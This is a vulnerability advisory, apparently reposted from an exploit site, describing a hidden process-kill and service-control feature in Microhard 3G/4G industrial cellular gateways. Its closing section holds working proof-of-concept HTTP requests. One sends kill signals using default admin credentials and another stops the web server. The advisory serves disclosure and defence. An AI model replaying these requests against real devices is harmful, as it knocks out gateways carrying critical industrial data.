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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Service Control DoS


Vendor: Microhard Systems Inc.
Product web page: http://www.microhardcorp.com
Affected version: IPn4G 1.1.0 build 1098
                  IPn3Gb 2.2.0 build 2160
                  IPn4Gb 1.1.6 build 1184-14
                  IPn4Gb 1.1.0 Rev 2 build 1090-2
                  IPn4Gb 1.1.0 Rev 2 build 1086
                  Bullet-3G 1.2.0 Rev A build 1032
                  VIP4Gb 1.1.6 build 1204
                  VIP4G 1.1.6 Rev 3.0 build 1184-14
                  VIP4G-WiFi-N 1.1.6 Rev 2.0.0 build 1196
                  IPn3Gii / Bullet-3G 1.2.0 build 1076
                  IPn4Gii / Bullet-LTE 1.2.0 build 1078
                  BulletPlus 1.3.0 build 1036
                  Dragon-LTE 1.1.0 build 1036

Summary: The new IPn4Gb provides a rugged, industrial strength wireless solution
using the new and ultra fast 4G LTE cellular network infrastructure. The IPn4Gb
features integrated Firewall, IPSec / VPN & GRE Tunneling, IP/MAC Access Control
Lists. The IPn4Gb can transport critical data to and from SMS, Ethernet and Serial
RS232/485/422 devices!

The IPn3Gb provides a fast, secure industrial strength wireless solution that uses
the widespread deployment of cellular network infrastructure for critical data collection.
From remote meters and sensors, to providing mobile network access, the IPn3Gb delivers!
The IPn3Gb is a powerful HSPA+ and Quad Band GSM device compatible almost anywhere. It
provides robust and secure wireless communication of Serial, USB and Ethernet data.

The all new Bullet-3G provides a compact, robust, feature packed industrial strength
wireless solution using fast 3G/HSPA+ network infrastructure. The Bullet-3G takes things
to the next level by providing features such as Ethernet with PoE, RS232 Serial port
and 2x Programmable I/O. Offering enhanced, 'Secure Communication' with its integrated
Firewall, IPSec VPN Tunneling, IP/MAC Access Control Lists, the Bullet-3G is a solution
worth looking at!

The all new Dragon-LTE provides a feature packed, compact OEM, industrial strength
wireless IoT & M2M solution. Connect any device, wired or wireless, and provide remote
cellular access using the Dragon-LTE. The Dragon-LTE features a OEM design for tight
system integration and design flexibility with dual Ethernet Ports and high power
802.11b/g/n WIFI. With its integrated Firewall, IPSec VPN Tunneling and IP/MAC Access
Control Lists, the Dragon-LTE provides a solution for any cellular application!

The new VIP4Gb provides a rugged, industrial strength wireless solution using 4G LTE
network infrastructure for critical data communications. The VIP4Gb provides simultaneous
network connections for 802.11a/b/g/n WiFi devices, 4 x 10/100/1000 Ethernet ports, Digital
I/O, and a RS232/RS485 port, resulting in a communication device that can be deployed in
any application! The VIP4Gb is a powerful 4G LTE device compatible on any cellular network.
It provides robust and secure wireless communication of Serial, Ethernet & WiFi data.

Desc: There is an undocumented and hidden feature that allows an authenticated attacker
to list running processes in the operating system and send arbitrary signals to kill
any process running in the background including starting and stopping system services.
This impacts availability and can be triggered also by CSRF attacks that requires device
restart and/or factory reset to rollback malicious changes.

Tested on: httpd-ssl-1.0.0
           Linux 2.6.32.9 (Bin@DProBuilder) (gcc version 4.4.3)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2018-5481
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5481.php


13.03.2018

--


POST /cgi-bin/webif/status-processes.sh HTTP/1.1
Host: 192.168.1.1
Connection: keep-alive
Content-Length: 34
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YWRtaW4=
Origin: http://166.130.177.150
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.1.1/cgi-bin/webif/status-processes.sh
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: style=null

signal=SIGILL&pid=1337&kill=+Send+


===


Available services:

# ls /etc/init.d/
boot                 dmesgbackup          gpsgatetr            ipsecfwadd           mh_product           quagga               sysctl               vlan
checksync            dnsmasq              gpsr                 keepalive            modbusd              rcS                  systemmode           vnstat
coova-chilli         done                 gpsrecorderd         led                  msmscomd             salertd              telnet               watchdog
cron                 dropbear             gred                 ledcon               msshc                sdpServer            timezone             webif
crontab              eurd                 httpd                localmonitord        network              snmpd                twatchdog            webiffirewalllog
custom-user-startup  firewall             ioports              logtrigger           ntpclient            soip                 umount               websockserverd
datausemonitord      force_reboot         iperf                lte                  ntrd                 soip2                updatedd             wsClient
defconfig            ftpd                 ipsec                lteshutdown          nxl2tpd-wan          soip2.getty          usb                  xl2tpd
dhcp_client          gpsd                 ipsec_vpn            media_ctrl           pimd                 soipd1               vcad                 xl2tpd-wan


Stop the HTTPd:

GET http://192.168.1.1/cgi-bin/webif/system-services.sh?service=httpd&action=stop HTTP/1.1